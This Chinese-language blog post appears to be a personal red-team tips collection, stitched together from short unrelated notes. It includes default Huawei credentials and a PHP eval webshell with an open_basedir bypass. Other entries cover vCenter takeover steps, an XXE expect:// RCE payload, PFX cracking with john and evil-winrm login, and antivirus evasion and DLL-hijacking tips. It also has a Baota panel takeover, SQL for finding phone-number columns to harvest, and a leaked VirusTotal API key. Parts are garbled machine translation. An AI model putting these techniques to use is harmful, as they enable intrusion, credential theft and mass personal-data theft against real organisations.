    华为 VPN:账号:root 密码:mduadmin

    华为防火墙:admin Admin@123 eudemon

找到管理员登录口,可以尝试以下账号密码image-20220515194248253

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
fiveandtwo=]0 2022/5/13 16:52:53
学姐他们上线后很快就被断了

fiveandtwo=]0 2022/5/13 16:53:03
检测力太强了

fiveandtwo=]0 2022/5/13 16:53:10
权限维持还是很重要的

fiveandtwo=]0 2022/5/13 19:57:04
万欣数据库默认密码

你撤回了一条消息,因为有错别字。

fiveandtwo=]0 2022/5/13 19:57:52
连接后改数据库账号的密码

fiveandtwo=]0 2022/5/13 19:57:58
先找教工信息

fiveandtwo=]0 2022/5/13 19:58:08
教工权限比较大一点

fiveandtwo=]0 2022/5/13 20:02:03
拿到账号后一定要先找其他的账号

fiveandtwo=]0 2022/5/13 20:15:36
后渗透先搞80端口 搞完成功后再找其他端口 这样比较快一点

fiveandtwo=]0 2022/5/13 20:17:53
御剑端口扫描工具


找工具的话要找那些开发平台兼容大的工具

然后我就想着提权不了,也看不了上级的目录,那要怎么拿目标站?辛亏我师傅说可以用.user.ini和php文件来绕过目录的限制!!

1
2
3
4
5
6
//.user.ini
open_basedir=:/
//user.php
<?php
eval($_post["pass"])
?>

图片

通过突破目录的限制,连上了新的shell后发现能看到全部的目录了

重点是:本地解码编码操作不会触发杀软拦截行为!

用的菜刀,传了一个exe上去,要cd到exe的目录,但是目录有中文啊,我cd不过去啊,我想了很久不知道怎么解决,后来在吐司的论坛上看见,可以写入bat

先看看内网环境大概是什么情况

图片遇到这种的,基本都是vCenter环境了 poc打入后

1
这里有个很坑的点,就是部分POC有linux模式和windows模式两种。而他们的逻辑有点问题,先用linux下的payload去打这个windows机器,但是不知道为什么,POC判断攻击成功了,于是就没有启用windows模式的payload。这就导致一开始我们迟迟写不上马。解决方案也很简单,直接删掉linux模式的payload,强制程序用windows模式来打。

直接往这里面传马即可:

1
C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\

接下来就是一气呵成了,大文件下载data.mdb,使用工具伪造COOKIE,然后登陆vSphere Client即可接管这个内网环境。

然后用这个脚本直接攻击即可:

1
2
3
4
5
6
https://github.com/horizon3ai/vcenter_saml_login/blob/main/vcenter_saml_login.py
/使用脚本时可能会报错,需要提前安装requirements.txt下的库/
/pip install python_ldap-3.4.0-cp310-cp310-win_amd64.whl/
想使用这个脚本,必须要可达vSphere Client,也就是说用它之前得先把socks代理搞好,搞好之后就可以愉快的食用这个脚本了
使用方法为:
python vcenter_saml_login.py -t <目标机器内网ip> -p data.mdb

更多参考链接:https://mp.weixin.qq.com/s?__biz=MzU3MTU3NTY2NA==&mid=2247485272&idx=1&sn=7db93fcc3013033566de9448e1dd9de4&chksm=fcdf5b47cba8d251087e893bfda200779502cdba40f8336a17d36972e0f1f5cd0e98ac50293a&scene=21#wechat_redirect

虽然被黑的很惨,这里还是更正一下,除了 ch1ng 师傅在 https://www.ch1ng.com/blog/264.html 提到的 Tomcat 处理会忽略 \ 的情况,刚才园长提到的是 org.apache.tomcat.util.http.parser.HttpParser#unquote 方法会处理文件名中的 “,方法是见到双引号后直接字符串长度 -1image-20220527163259558image-20220527163313249

配合 \ 的忽略可以搞出比较恶心的文件名

vpn设备集合:路由功能、流量审计、防火墙、vpn

1
ftp加! 可以执行命令

图片!!!可恶啊我现在才知道 hw都结束了

vps提供下载的话 还是用apache好 别开python http 网站访问没问题

但是curl等命令行下载不容易成功

Kili工具:使用exiftool -Comment=’‘ 1.png 生成一个图片马,图片在网上下一个.png格式的。

直接上传.png格式是无法上传成功的,将其改成1.php.png格式。再次进行上传。

VCenter获得锁屏机器Hash之KonBoot引导:

https://mp.weixin.qq.com/s?__biz=MzI2NDQyNzg1OA==&mid=2247490788&idx=1&sn=0bf64b4ad055e08984ed52f726e617aa&chksm=eaad9cd9ddda15cf53fd72a7950b2004900a7d37c3c3eb870bc3e7974a18174d05dccef3d316&mpshare=1&scene=23&srcid=0616IuAwJhpU2vlrufTdIiDW&sharer_sharetime=1655394036259&sharer_shareid=9108c08c45d1f36cab8f5c866e004fa3#rd

可以用john爆破压缩包密码

pfx是个经过数字签名加密的证书文件

1
文件的扩展名PFX的系统文件,以嵌入到它的加密安全功能特别文件。这些的加密安全功能的.pfx文件包括用来参与确定身份验证过程数字证书的用户或设备都可以访问某些文件,系统本身或者计算机连接的是那些具有管理员权限的网络是否。这些PFX文件需要密码就可以使用Adobe Acrobat X或Adobe Reader中打开之前。这意味着这些PFX文件是保护或保护用户免受黑客,第三方用户的计算机和网络,而无需访问系统和网络资源的同意有益的以及恶意应用程序,指示它来访问这些受保护的资源和数据的代码。PFX文件可能在Mac和Microsoft Windows系统中找到,并且可用于打开这些应用程序的.pfx文件是使用Adobe Acrobat X和Adobe Reader与Mac或Microsoft Windows环境兼容的版本。

同样可以用jhon爆破

1
john --wordlist=/usr/share/wordlists/rockyou.txt pfxhash

然后使用openssl和pkcs12,将key导出。

1
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out pfx.key

图片密码都是一样,上面爆破出来那个

之后还必须要生成一个证书才能登录

1
openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out pfx.crt

图片密码都一样

前面信息收集说到发现有winrm,端口5986

使用evil-winrm工具进行连接

1
evil-winrm -i ip -S -c pfx.crt -k pfx.key -p -u

图片输入我们刚刚的密码

就能登录

JNI (Java Native Interface,JAVA 本地接口) 允许 Java 代码和其它编程语言编写的代码进行交互,主要为Java和Native层(C/C++)相互调用的接口规范,但是并不妨碍扩展其他语言。 JNI 在 Java1.1 中正式推出,在 Java1.2 中加入了JNI_OnLoadJNI_OnUnload方法。

Weblogic写shell的路径大概如下/u01/domains/osb/servers/AdminServer/tmp/_WL_internal/uddiexplorer/随机字符/war/shell.jsp

hash传递rap 使用win10登录出现身份验证错误 要求的函数不受支持 “这可能是由于CredSSP加密数据库修正” 解决链接:实战 | 记一次简单的国外站点小练手 (qq.com)

使用DNSURL来探测其他利用链

对于shiro,使用成熟的exp工具来自动回显利用的情况已经越来越少。大部分情况下,即使找到key也无法找到合适的利用方式和正确的利用版本(工具生成序列化字符串时使用的依赖版本与服务器上运行的依赖版本不符就会产生报错,无法反序列化)。

但是由于DNSURL链是基于jar包且不受版本影响的,所以遇到shiro的出网的站时,可以用这个工具(https://github.com/kezibei/Urldns)生成利用链探测payload,实操如下:

图片注意此时生成的是base64编码的值,shiro验证和利用还需要自己写脚本进行aes或者gcm的加密。使用Burp输入cookie字段发包后可以得知为Windows服务器,存在c3p0-92版本和cc31版本依赖(但不是一定就可以利用)。https://mp.weixin.qq.com/s/TSD_bcL5JBMJQBotCHqTyw

把请求包详情展示,包括发送包,因为有时候复现不出来,大概率是和请求头某些参数有关系。

xml传输的标志image-20220706120455116

容易造成xxe攻击,且一般情况下,只能造成任意文件读取。除非对方开启了expct://-处理交互式的流。当然这个封装协议默认是不开启的。就能造成rce

1
<!ENTITY xxe SYSTEM "expect://id" >]>

单向流就是我发给你,然后要看到你接收

双向流就是在单向流的基础上你一条我一条来回

隧道就是互发信息直到读取不出来

客户端就是我(客户端)发给你就行。你之后再看到也没关系

声东击西:在进行内网横向的时候 我们可以布置多台机器去对外部资产或者必须要运行的资产进行疯狂扫描骚扰。导致运维(蓝队)烦不胜烦,进而掩盖我们的真正攻击

msf植入jdk包钓鱼

McAfee检测到压缩包病毒直接删 根本不给你机会看到

1
注意是只删里面的特定文件

火绒一般只查杀C:/system/里面的文件 把它复制到其它地方就行

20220811

1
2
3
4
5
6
7
8
9
10
11
12
Virustotal的key 用来下载他们的文件

上干货——Enigmasoftware api key:
d10468bead05da1685629a0abcfed5f963d6adbc7e6bb2b2fc343dbb36be0349


下载文件(比如下载哈希为fc6c880e33a73faf58a30f862d18dcc2的文件)
https://www.virustotal.com/intelligence/download/?apikey=d10468bead05da1685629a0abcfed5f963d6adbc7e6bb2b2fc343dbb36be0349&hash=fc6c880e33a73faf58a30f862d18dcc2
高级查询
curl --request GET --url "https://www.virustotal.com/api/v3/intelligence/search?query={name:thor64}" --header "x-apikey:d10468bead05da1685629a0abcfed5f963d6adbc7e6bb2b2fc343dbb36be0349"
其他的API使用手册地址:
https://developers.virustotal.com/reference/overview

sql中根据系统视图联合查询包含phone字段的列名、数据量大于阈值、表名、schema、数据库名,并按数据量排序。

mssql

1
2
3
4
5
6
SELECT t.TABLE_SCHEMA as 'TABLE_SCHEMA',a.name as 'TABLE_NAME', c.COLUMN_NAME, b.rows FROM sysobjects AS a
INNER JOIN sysindexes AS b ON a.id = b.id
INNER JOIN information_schema.columns c on a.name = c.TABLE_NAME
INNER JOIN information_schema.tables t on a.name = t.TABLE_NAME
WHERE (a.type = 'u') AND (b.indid IN (0, 1)) and (c.COLUMN_NAME like '%phone%') and (b.rows > 100)
ORDER BY b.rows DESC

mysql

1
2
3
4
5
SELECT t.table_schema AS 'schema', t.table_name AS 'table', c.COLUMN_NAME AS 'column', t.table_rows AS 'rows'
FROM information_schema.TABLES t
left join information_schema.COLUMNS c on c.table_name = t.table_name
WHERE c.COLUMN_NAME like '%phone%' and t.table_rows > 100
group by t.table_schema, t.table_name, c.COLUMN_NAME, t.table_rows order by t.table_rows desc

oracle

1
2
3
4
5
select s.username "schema",t.table_name "table",c.column_name "column_name",t.num_rows "num_rows" from sys.dba_users s 
right join sys.dba_tables t on s.username=t.owner
right join all_tab_columns c on c.table_name=t.table_name
where t.num_rows > 100 and c.column_name like '%PHONE%'
group by s.username,t.table_name,c.column_name,t.num_rows order by 4 desc

postgres

1
2
3
4
5
SELECT c.table_schema,c.table_name,c.column_name,t.n_live_tup FROM pg_stat_user_tables as t
inner join information_schema.columns as c
on c.table_name = t.relname
where c.column_name like '%PHONE%' and t.n_live_tup >100
ORDER BY t.n_live_tup DESC

白+黑的主要手段:

白嫖怪为了得到一个可以以签名程序运行自己任意代码的条件就会去挖掘一些软件厂商的程序是否存在DLL劫持漏洞,利用DLL劫持的特性达到披着羊皮的狼的目的

动态库.so后缀 静态库.a后缀

每一个计划任务文件都存放于%SystemRoot%\System32\Tasks目录下,内容和导出的XML完全相同。

你的签名验证、UAC验证、token验证、打印机、远程桌面都是COM实现的 这个uuid就是罪恶的源泉 有多少个UUID COM就实现了多少个组件 然后效果是终端设备没办法监控到COM的行为 只能人肉解码

c++和c#用vc6.0或者vs2008来写

宝塔的话,先把宝塔原本db文件下载下来备份一下,再添加一个账号密码进去登陆就好了,操作完成后,再将原db文件覆盖过去就行。

能看到宝塔db说明很高权限,复制db到可读可写目录,下载下来,搜索admin,一般都能解开

静态免杀 动态不免杀 看父进程权限

CLR(公共语言运行库)(并且再github上有源码)-.NET框架的代码核心,可以通过获取CLR进而获取很多内置甚至隐藏的函数来进行隐蔽运行

com本身是一种开发理念,旨在跨应用和语言共享二进制代码,其理念类似dll,但dll仅能被C/C++理解或遵循C调用规范的语言使用,com通过指明二进制模块必须编译成约定的结构解决了这个问题,其实现方式与c++的类相似,所以通常使用c++来实现一个com组件。

就windows中实现来看,com组件本身仍旧是标准的pe结构(dll/exe),只不过其内部包含了coclass,以及在注册表中注册了相关键值,以便我们找到并使用它。


个人收集redteam重要tips(2000行 51898字符)
http://example.com/个人收集redteam重要tips(2000行 51898字符).html
Author
CDxiaodong
Posted on
January 12, 2023
Licensed under